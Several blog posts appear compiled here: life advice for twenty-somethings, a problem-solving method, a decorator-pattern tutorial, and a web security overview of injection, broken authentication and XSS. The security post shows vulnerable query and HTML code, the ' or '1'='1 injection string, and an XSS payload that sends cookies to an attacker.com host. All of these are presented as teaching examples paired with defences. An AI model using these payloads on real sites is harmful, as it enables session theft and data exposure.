Sadly, I am coming to the end of my twenties (I plan to be a centenarian so it’s okay).

I’ve learned more in my twenties than I ever thought would be possible. I am grateful for the people I have met and experiences I have had along the way. I don’t know where I would be without some of the advice I was given by those much wiser than me that shared invaluable tips that I should consider at my age. Building on their knowledge led me to make much better decisions and to start my career and life off on a good foot.

In that spirit, I want to help other people who are just beginning their journey into their twenties and try to give some tips that represent the most important lessons I learned in my twenties. I hope it helps you in the same way others have helped me!

Tips For Twenty-Somethings

Before you enter the “usual work-family cycle”, I would recommend you to experience unconventional areas of work/life (and hopefully find something you’d truly love to do). In your early twenties you probably have no dependents and this may be the only time in your life where you can experiment with minimal risk.

1. Make a strict budget and follow it! Save an emergency fund (say $10K) first and do not touch this money, unless you really really really need it.

2. Allocate some money in paying off your debt (if you have any) on a monthly basis. Do not take on any more debt for at least 2 years: education/credit card/car/home etc.

3. Read as much as you can. Watch a lot of documentaries/videos/ lectures/interviews/stories (on say YouTube).Do your own research and form your own opinions. Buying an e-reader may not be a bad investment. Add your local library to your list and get books loaded on your e-reader.

4. Try to have a fun but frugal lifestyle. There will be enough time in your life to shop and spend.

5. Try to find/expand your interests and invest in them. Travel, attend seminars/ conferences, make new friends, do some certifications, take up some courses…

6. Make friends as opposed to networking. Your friends will go a lot further than the professional contacts you make, especially since only one of the two groups is invested in your personal happiness.

7. Become an expert by learning as much as you can and deeply seeking out the things you are curious about. Find the things you enjoy and practice the skills you want to develop. If you can achieve expertise then it will be easy to obtain an audience.

8. Become as independent as possible. If you work at a big company, constantly make small steps to reduce your dependence on your job. Write a book, build an app, or start a small business on the side. Release your inner entrepreneur. Even if you fail, you’ll build skills.

9. Take Care Of Your Body. No matter what you do in your life, you will do it in your body. You cannot replace it, get a new one, or trade it in. This is your body and it is here to stay. It might not be the perfect body that you want, but this is the one you have. If you take care of it now – it will take care of you when you 60, 70 or 80 years old. The way to take care of your body is simple. Eat less junk and eat more healthy foods and exercise more. Take some time to read up on cardiovascular health and brain health. These will provide you with the biggest health benefits!

If you follow these 9 tips in your twenties you will be a successful, energetic, fun, and independent person that is ready to take on their 30’s!

See you all in 10 years with “Tips for Thirty-Somethings”!

Thanks for reading! If you liked this please like it, share it, or subscribe to my blog at jasonroell.com. Have a great day!

Whenever I interview candidates for a position (whether a developer position or not), I want to know one very important thing about them. Something that, for me, has been the number one key attribute that successful employees all have. What is it??

The ability to problem solve!

When you are an employee, the last thing you want to do is come to your boss with a problem, but not a solution. 

It may seem obvious, but I’ll state it anyway — when you are employed by someone, they don’t want you to tell them you have a problem. They want you to tell them you have a solution. Many of your tasks are going to be resolving issues or coming up with solutions to problems (that’s what makes you valuable! Otherwise, a monkey could do your job. Sorry Monkeys).

Yet, very few of the people I interview have really great problem solving skills. Sure, they call themselves “Problem Solvers” on their resume. But how do they quantify it? Truthfully, not many can, and when put to the test many fall flat on their face.

Google has known this for years and that is the key reason they have been one of the most successful companies over the last decade. They hire the absolute best problem solvers. They have become notorious for coming up with questions in interviews that will not test the candidates knowledge but will instead test their intelligence. 

The difference between knowledge and intelligence is key here. Knowledge is the collection of skills and information a person has acquired through experience. Intelligence is the ability to apply knowledge. Just because someone lacks knowledge of a particular subject doesn’t mean they can’t apply their intelligence to help solve problems.

Knowledge is wonderful, but it fades as processes and technologies come and go. Intelligence sustains. Its borders extend beyond any process or technology, and that makes all the difference.

One of the keys to being intelligent is coming up with creative solutions to difficult problems that you have not seen before.

Being great at solving difficult problems that you have never seen before is not easy, and building the intuition to do it does not happen overnight (this is one of the reasons Google’s rejection rate is so high). Only after you have had a lot of practice working through difficult situations to find the answers when everyone else is stumped, will you develop an intuition about how to solve a new problem.

However, if you want to start solving problems for your business today, there are a few tricks to help you kick start your problem solving capabilities. Whenever I come to a problem that I have not seen before and I do not have clear insight to the problem or how to fix it, I start with this problem solving technique. This technique allows you to apply your knowledge of what you do know, to the problem. I call it the Insight To Any Problem™ technique!

The 6 step technique looks like this:

1. Defining the problem
   1. Make sure you are solving the right problem and not a result or symptom of the problem! Ask yourself “Is this the result of another problem?”
2. Analyzing/Isolating the problem
   1. This is usually the most difficult part.  See graph below.
3. Developing possibilities
   1. See graph below for insight into how to develop possibilities.
4. Selecting the best solution
   1. Determine between team and the people affected by the problem, which will be the best solution going forward.
5. Implementing
6. Evaluating and learning
   1. Always document your solutions so that if similar problems arise or other teams have the same issue you don’t go through the whole process again. Always learn! Always improve!

Most of the above techniques you have probably seen before. However, usually the hardest part is steps 2 and 3. That’s why I have have a “subsystem” to be able to effectively analyse and develop solutions for the hardest problems.

It may initially look familiar to you. It starts with the 5 ‘W’s (and 1 ‘H’) technique you learned in grade school when writing an English paper. The same way that it helped you write an A+ English paper is the same way it is going to help you problem solve.

Below is a infograph that outlines the whole technique that I have used to provide insight and solutions to many, many, many problems. It can do the same for you. The basic premise is to ask yourself questions about the problem to gain insight into a solution. It is surprisingly effective.

Give it a try and let me know of your favorite problem solving techniques in the comments!

If you liked this post please share it or subscribe to my blog at jasonroell.com! Thanks!

Design patterns in software development have been around for a little while now. They were made famous in 1994 from the book Design Patters: Elements of Reusable Software and consequently made the authors so famous that they are often now just referred to as the Gang of Four (GoF). The Gang of Four consisted of  Erich Gamma, Richard Helm, Ralph Johnson and John Vlissides. If you haven’t read this book, don’t feel bad — it is a very informative book that has changed how we write software, but it can be a very dry read. (If you want an easier introduction to Design Patterns, I recommend Head First Design Patterns).

If I remember correctly, there are 23 design patterns defined in the original text and the authors go very deep into each one. With so many design patterns and such in-depth discussion about the correct way to use each one, it can be intimidating to even try to understand them and many developers will just put off even learning them.

I have a love/hate stance on design patterns. This is because they are great if used in the right scenario, but completely useless and counterproductive if you try to make them fit your problem when the problem you have needs a different solution. Blindly pushing patterns into the code will increase complexity, introduce bugs, and create a maintainability nightmare. Instead, we should understand the underlying principles and ideas to apply them or build upon them as needed.

What I want to do is introduce one of the patterns that I use the most that I feel a lot of software projects could benefit from if used correctly.

The Decorator Pattern

Before we get into exactly what the decorator pattern is and when you could benefit from using it, we need to understand another design principle those pretentious software architects are always boasting about. I’m talking about the Open/Closed Principle (made famous from “first five principles” named by Robert C. Martin in the early 2000s that stands for five basic principles of object-oriented programming and design.)

One thing you will start to notice is that many design patterns and software best practices/principles go hand in hand. The Open/Closed Principle and the Decorator Pattern are one of these pairs. The Open/Closed Principle states that:

Software entities should be open for extension, but closed for modification.

Hmmm… Sounds a little contradictory doesn’t it? At least that’s what I thought when I first read it. How the heck can something be open and closed at the same time? Let’s dig a little deeper.

When we say “open for extension” in the context of object-oriented design we are talking about the ability to add responsibilities or behaviors to an object to “extend” that object’s functionality. When we say “closed for modification” that means we don’t want to modify an existing class definition or construct that has been tested and proven to work (this helps prevent new bugs from popping up).

So in comes the decorator pattern to help save the day. The decoration pattern allows behavior to be added to an individual object, dynamically, without affecting the behavior of other objects from the same class.

This is achieved by designing a new decorator class that wraps the original class. This wrapping could be achieved by the following sequence of steps:

1. Subclass the original “Component” class into a “Decorator” class (see UML diagram);
2. In the Decorator class, add a Component pointer as a field;
3. Pass a Component to the Decorator constructor to initialize the Component pointer;
4. In the Decorator class, redirect all “Component” methods to the “Component” pointer; and
5. In the ConcreteDecorator class, override any Component method(s) whose behavior needs to be modified.

Abstractly you can think of it like this diagram:

Clear as mud??

I think a concrete example will help illustrate the idea a little better.

Say you are working as a developer for a coffee shop and they need a system that will handle the determining what the cost and description is for coffee plus any of the added condiments (mocha, extra shot espresso, etc) get added to their coffee. This quickly become a maintainability nightmare if you need classes that represent each of these combinations.

It also is not easy to use interfaces to define the contracts because you would still need to code the implementations in each of these classes whenever prices or descriptions change. The easiest way to get the most flexibility with your code and dynamically build these objects as people mix and match combinations is to use the decorator pattern. This makes it simple when a new condiment or drink is added because you just wrap you existing object with the new CondimentDecorator class and the internal behavior can be recursively called by accessing the parent behavior.

For example:

1. Say a customer orders a DarkRoast (this would be a DarkRoast class who is derived from Coffee, nothing special yet). Remember that since DarkRoast inherits from Coffee it has a cost() method that computes the cost of the drink.
2. The customer wants Mocha, so we create a Mocha object and wrap it around the DarkRoast by passing DarkRoast into Mocha’s constructor. The Mocha object is a decorator. Its type morrors the object it is decorating, in the case, a Coffee. This means that Mocha has a cost() method too, and through polymorphism we can treat any Coffee wrapped in Mocha as a Coffee, too (because Mocha is a subtype of Coffee)
3. The customer also wants WhipCream, so we create a WhipCream decorator and wrap Mocha with it the same way Mocha wrapped DarkRoast.  Whip is also a decorator, so it also mirrors DarkRoast’s type (Coffee) and includes a cost() method. So, a DarkRoast wrapped in Mocha and Whip is still a Coffee and we can do anything with it we can do with a DarkRoast, including call its cost() method.
4. Now it’s time to compute the cost for the customer. We do this by calling cost() on the outermost decorator, WhipCream, and WhipCream is going to delegate computing the cost to the object itit decorates. Once it gets a cost, it will add-on the cost of the WhipCream. The system execution goes as follows:
   1. First, we call cost() on the out most decorator, WhipCream.
   2. WhipCream calls cost()  on Mocha. (in Java by calling super.Cost(). Other languages have similar constructs) .
   3. Mocha calls cost() on DarkRoast.
   4. DarkRoast returns its cost (99 cents).
   5. Mocha adds its cost, 20 cents, to the result from DarkRoast, and returns the new total, $1.19.
   6. WhipCream adds its cost, 10 cents, to the result from Mocha, and return the final result, $1.29

(Photo credit: Head First Design Patters)

Using this pattern over subtyping and inheritance can two major advantages to your design:

1. More flexibility than static inheritance. The Decorator pattern provides a more flexible way to add responsibilities to objects than can be had with static (multiple) inheritance. With decorators, responsibilities can be added and removed at run-time simply by attaching and detaching them. In contrast, inheritance requires creating a new class for each additional responsibility (e.g., BorderedScrollableTextView, BorderedTextView). This gives rise to many classes and increases the complexity of a system. Furthermore, providing different Decorator classes for a specific Component class lets you mix and match responsibilities.Decorators also make it easy to add a property twice. For example, to give a TextView a double border, simply attach two BorderDecorators. Inheriting from a Border class twice is error-prone at best.
2. Avoids feature-laden classes high up in the hierarchy. Decorator offers a pay-as-you-go approach to adding responsibilities. Instead of trying to support all foreseeable features in a complex, customizable class, you can define a simple class and add functionality incrementally with Decorator objects. Functionality can be composed from simple pieces. As a result, an application needn’t pay for features it doesn’t use. It’s also easy to define new kinds of Decorators independently from the classes of objects they extend, even for unforeseen extensions. Extending a complex class tends to expose details unrelated to the responsibilities you’re adding.

Patterns can be a complex subject and knowing when to use them is sometimes more complicated than understanding how to use them. I hope this article shed a little light on the subject. If you have any suggestions to make this clearer, let me know in the comments!

If you liked this please like, share, subscribe to my blog at jasonroell.com. Thanks!

Web security doesn’t always get the attention that it deserves. That is unfortunate because it leaves companies and their customers vulnerable to an array of cyber attacks. I wrote an article about How and Why companies are Hacked last week and received some emails suggesting that I outline some of the most popular cyber attacks in 2015 and how to avoid them.

This sounded like a great idea to me, so I decided to accept the challenge and do my best to lay out the top 3 web security vulnerabilities for 2015 and how you might be able to secure yourself against them on your site.

For all too many companies, it’s not until after a breach has occurred that web security becomes a priority. During my years working as a web developer, I have seen time and time again how obscure the world of IT Security is to so many of my fellow programmers.

An effective approach to IT security must, by definition, be proactive and defensive. Toward that end, this post is aimed at sparking a security mindset, hopefully injecting the reader with a healthy dose of paranoia. That being said, here are the top 3 (in order) web security vulnerabilities in 2015.

The List

1. Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Example Attack Scenarios

Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ‘ or ‘1’=’1. For example:

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.

Are You Vulnerable To Injection Attacks?

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.

How To Protect Yourself From Injection Attacks

Preventing injection requires keeping untrusted data separate from commands and queries.

1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.
2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
3. Positive or “white list” input validation is also recommended, but is not a complete defense as many applications require special characters in their input. If special characters are required, only approaches 1. and 2. above will make their use safe. OWASP’s ESAPI has an extensible library of white list input validation routines.

2. Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

Example Attack Scenarios

Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:

http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every users’ password to the attacker.

Are You Vulnerable To Broken Authentication Attacks?

The first thing you should ask yourself is “Are session management assets like user credentials and session IDs properly protected?” You may be vulnerable if:

1. User authentication credentials aren’t protected when stored using hashing or encryption.
2. Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
3. Session IDs are exposed in the URL (e.g., URL rewriting).
4. Session IDs are vulnerable to session fixation attacks.
5. Session IDs don’t timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren’t properly invalidated during logout.
6. Session IDs aren’t rotated after successful login.
7. Passwords, session IDs, and other credentials are sent over unencrypted connections.

How To Protect Yourself

The primary recommendation for an organization is to make available to developers:

1. A single set of strong authentication and session management controls. Such controls should strive to:
   1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).
   2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs.

3. Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Example Attack Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in their browser to:

'>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ.

Are You Vulnerable to XSS Attacks?

You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools.

Tips on Preventing XSS Attacks

Preventing XSS requires separation of untrusted data from active browser content.

1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
2. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defenseas many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
3. For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the Java HTML Sanitizer Project.
4. Consider Content Security Policy (CSP) to defend against XSS across your entire site.

Hopefully this has shed just a tiny bit of light on some things you should be looking at when you are developing a public web application. There are many more types of attacks that can do just as much or more harm than the ones listed above. For a list of these attacks (and how I curated these) can be found at https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project. They keep an updated list of the most common attacks and things you should keep in mind if you are developing a secure web application.

One bonus tip for reading this far is a GREAT web resource that identifies flaws in any web endpoint. The web application can be found at https://asafaweb.com/. This tools simply issues a few HTTP requests to the URL to be scanned. ASafaWeb doesn’t attempt any attack sequences or other malicious activity, it simply makes some benign requests and see how the site responds. You’ll see what each of these look like after submitting the scan. I highly recommend that you check it out and take a look at some suggestions that it might make about securing your website.

Well that is all from me today. I Hope everyone had a good Halloween over the weekend. Please leave me any comments that you have involving your web security recommendations and I’ll be sure to check them out!

If you like this post please share it or ‘like’ it to spread the work to other developers. If you never want to miss one of my posts then subscribe to my newsletter at jasonroell.com.